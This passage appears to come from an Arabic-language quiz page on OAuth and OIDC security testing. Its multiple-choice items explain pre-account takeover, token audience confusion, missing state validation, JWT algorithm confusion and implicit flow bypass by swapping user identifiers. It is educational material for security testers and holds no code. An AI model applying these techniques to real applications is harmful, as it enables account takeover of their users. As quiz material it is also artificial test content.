ب. S256 — لأنه بيعمل SHA-256 hash للـ verifier
ج. md5 — لأنه أسرع
د. base64 — لأنه أكثر شيوعاً
إجابة صحيحة! S256 بيعمل SHA-256 على الـ code_verifier. plain بيعتبر ضعيف لأن الـ code_challenge == code_verifier وأي حد بيشوف الـ challenge يقدر يعمل token exchange.
في الـ Pre-Account Takeover، ايه الـ شرط اللازم يكون موجود في الـ application؟
أ. يدعم Implicit Flow فقط
ج. يستخدم JWT tokens
ب. يدعم email/password registration مع OAuth بدون email verification إجبارية قبل الـ account linking
د. يستخدم Facebook login فقط
إجابة صحيحة! الـ Pre-ATO بيحتاج: (1) طريقتين للتسجيل email+password وOAuth، (2) الاتنين بيربطوا على الـ email، (3) مفيش verification إجبارية قبل الـ OAuth account linking. الـ attacker بيسجل بـ email الضحية أول، وينتظر.
لو الـ application backend بيستقبل access_token من الـ client ومش بيتحقق من الـ aud claim — ايه الـ attack الممكن؟
أ. CSRF attack
ب. SQL Injection
ج. Token Audience Confusion — استخدام token من app تاني للـ login
د. Brute force attack
إجابة صحيحة! لما الـ backend مش بيتحقق من الـ aud (audience) claim، الـ attacker يعمل app خاص بيه على Facebook/Google ويحصل على token لأي victim. الـ token ده صالح للـ provider لكن مش المفروض يشتغل على الـ target app. لو شتغل = Audience Confusion bug.
ايه الـ parameter في OAuth اللي بيشتغل كـ CSRF token للـ flow؟
أ. scope
ب. client_id
ج. state
د. redirect_uri
إجابة صحيحة! الـ state parameter هو الـ CSRF token للـ OAuth flow. لازم يكون random، مربوط بالـ session، ويتأكد منه عند الـ callback. غيابه أو عدم validation له = Forced Account Linking vulnerability.
في الـ "Dirty Dancing" attack، ايه الـ حاجة اللي بتخلي الـ token "stranded" في الـ URL؟
أ. تغيير الـ response_type أو الـ state بشكل غير متوقع — الـ client بيعمل error لكن الـ token لسه في الـ URL fragment
ب. سرقة الـ token من الـ database مباشرة
ج. Brute force الـ token value
د. إرسال XSS payload في الـ scope
إجابة صحيحة! الـ attacker بيلاعب الـ flow (مثلاً يغير response_type أو يبعت state غلط). الـ provider بيصدر token وبيرجع للـ callback، الـ client بيلاقي state مش صح فبيعمل error page. لكن الـ URL fragment لسه فيه التوكن. لو الـ error page فيها 3rd party scripts بـ postMessage = token مسرب.
ايه الـ discovery endpoint الأساسي للـ OIDC؟
أ. /oauth/config
ب. /.well-known/openid-configuration
ج. /api/oauth/info
د. /v1/oauth/metadata
إجابة صحيحة! /.well-known/openid-configuration هو الـ standard discovery endpoint اللي بيرجع JSON بيوصف كل الـ endpoints والـ supported features للـ OIDC provider. دايماً جرب ده في الـ recon phase.
ايه الـ فرق الرئيسي بين الـ access_token والـ id_token في OIDC؟
أ. الـ id_token أطول دايماً
ب. الـ id_token للـ client لـ authentication، الـ access_token للـ resource server لـ authorization
ج. الـ access_token أحسن أمانياً دايماً
د. الـ id_token بيتعمله revoke بسرعة أكتر
إجابة صحيحة! الـ id_token هو JWT بيثبت هوية المستخدم — موجه للـ client نفسه. الـ access_token هو الـ bearer token اللي بيتبعت لـ resource server عشان ياخد البيانات. دي حاجة كثير ناس بتلخبطها!
في الـ Algorithm Confusion attack (RS256 → HS256)، ايه اللي بيستخدمه الـ attacker كـ HMAC secret؟
أ. الـ private key المسروق من الـ server
ب. الـ public key للـ server (من /jwks.json)
ج. كلمة "secret" الافتراضية
د. الـ client_secret
إجابة صحيحة! الـ trick هنا: الـ library بتتحقق من الـ JWT بالـ algorithm اللي في الـ header. لو غيرت الـ alg لـ HS256، الـ library هتستخدم الـ public key كـ HMAC secret للـ verification. والـ attacker يعرف الـ public key (public!)، فيقدر يعمل signature صحيح للأي payload.
لو لقيت موقع بيعمل "Login with Google" وبيبعت POST request للـ backend بـ { email, sub, access_token }، ايه أول حاجة هتعملها؟
أ. تجرب XSS في الـ email field
ج. تعمل brute force على الـ access_token
ب. تغير الـ email والـ sub لقيمة user تاني مع إبقاء الـ access_token بتاعك — اختبار Implicit Flow Bypass
د. تجرب SQL injection في الـ sub parameter
إجابة صحيحة! ده الـ Implicit Flow Bypass الكلاسيكي. لو الـ backend بيثق في الـ user data اللي جاي من الـ JS بدون ما يتحقق منها بنفسه من الـ provider، الـ attacker يقدر يغير الـ email/sub لأي user. الـ access_token بتاعك ماله لازمه هنا — الـ backend مش بيتحقق منه أصلاً.
نتيجتك
0 / 10